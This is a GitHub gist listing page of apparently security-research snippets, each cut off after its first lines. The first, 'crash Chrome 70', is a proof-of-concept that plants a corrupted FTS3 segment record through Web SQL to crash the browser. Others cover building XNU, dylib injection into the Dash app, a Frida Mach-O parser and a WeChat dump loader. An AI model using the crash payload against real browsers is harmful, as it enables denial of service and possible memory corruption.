Skip to content

Instantly share code, notes, and snippets.

@ChiChou
ChiChou / crash.js
Created December 16, 2018 03:23
crash Chrome 70
const poc = `CREATE VIRTUAL TABLE ft USING fts3;
INSERT INTO ft VALUES('aback');
INSERT INTO ft VALUES('abaft');
INSERT INTO ft VALUES('abandon');
UPDATE ft_segdir SET root = x'0005616261636B03010200FFFFFFFF070266740302020003046E646F6E03030200';
SELECT * FROM ft WHERE ft MATCH 'abandon';`;
const name = 'db' + Math.random().toString().slice(2, 5);
const db = openDatabase(name, '1.0', 'xx', 1024 * 16);
@ChiChou
ChiChou / build-xnu-4903.221.2.sh
Created December 11, 2018 08:23 — forked from matteyeux/build-xnu-4903.221.2.sh
A script to build XNU version 4903.221.2 (macOS High Sierra 10.13). Initial script by Brandon Azad.
#! /bin/bash
#
# build-xnu-4903.221.2.sh
# Initial script by Brandon Azad (https://gist.github.com/bazad/654959120a423b226dc564073b435453)
# Updated on 12/11/18 by matteyeux
#
# A script showing how to build XNU version 4570.1.46 on MacOS High Sierra
# 10.13 with Xcode 9.
#
# Note: This process will OVERWRITE files in Xcode's MacOSX10.13.sdk. Make a
@ChiChou
ChiChou / dsc_syms.c
Created November 15, 2018 08:05 — forked from Siguza/dsc_syms.c
dyld_shared_cache symbols to r2 flags
#include <errno.h>
#include <fcntl.h> // open
#include <stdint.h>
#include <stdio.h> // printf, fprintf, stderr
#include <stdlib.h> // exit
#include <string.h> // strerror, strncmp
#include <sys/mman.h> // mmap
#include <sys/stat.h> // fstat
#include <mach-o/loader.h>
#include <mach-o/nlist.h>
@ChiChou
ChiChou / dash-dark-mode-patch.m
Created October 12, 2018 06:41
If you don't want invert color
// clang -shared -undefined dynamic_lookup -o /Applications/Dash.app/Contents/MacOS/libDash.dylib Dash.m
// optool install -c load -p @executable_path/libDash.dylib -t /Applications/Dash.app/Contents/MacOS/Dash
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
static void pleasedontinvertwebview(/* we don't care about the args */) {
NSLog(@"oops");
}
@ChiChou
ChiChou / macho.js
Last active February 26, 2025 06:59
Frida in-memory Mach-O parser
// to speed up, I removed all data validation
function MemoryBuffer(address, size) {
this.base = address
if (!size) {
// const range = Process.findRangeByAddress(address)
// if (!range)
// throw new Error('invalid address: ' + address)
@ChiChou
ChiChou / Android.mk
Last active March 28, 2024 10:56
WeChat dump
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
LOCAL_MODULE := loader
LOCAL_MODULE_TAGS := optional
LOCAL_SRC_FILES := loader.c
LOCAL_CPPFLAGS := -std=gnu++0x -Wall
LOCAL_LDLIBS := -L$(SYSROOT)/usr/lib -llog -pie -fPIE
@ChiChou
ChiChou / iOS-checksec.py
Last active March 8, 2023 02:30
checksec for iOS executables based on lief
#!/usr/bin/env python3
import struct
import lief
from lief.MachO import LOAD_COMMAND_TYPES, HEADER_FLAGS
def check(filename):
macho = lief.parse(filename)
# check this?
@ChiChou
ChiChou / fixheader.sh
Created March 27, 2017 05:56
fix header generated from class-dump
#!/bin/bash
#
# NOTE: You need to `brew install gnu-sed` on Mac
#
# by @codecolorist
# http://github.com/chichou
#
# fix some compilation error of headers generated by class-dump
#
# usage: fixheader.sh DIRECTORY
@ChiChou
ChiChou / google-code-stylebot.css
Last active October 17, 2016 06:06
Dark theme user style for google code
/**
Stylebot for Chrome:
https://chrome.google.com/webstore/detail/stylebot/oiaejidbmkiecgbjeifoejpgmdaleoha
Stylish for Safari:
http://sobolev.us/stylish/
**/
@ChiChou
ChiChou / nameit.py
Created August 13, 2016 12:59
How I name my project
#!/usr/bin/env python3
# git clone https://github.com/dwyl/english-words.git
# cd english-words
# wget https://gist.github.com/ChiChou/d3d90b026f45017a98e8e39157d3caae/raw/nameit.py
# pip3 install lxml beautifulsoup4 requests
# ./nameit.py
import random
import os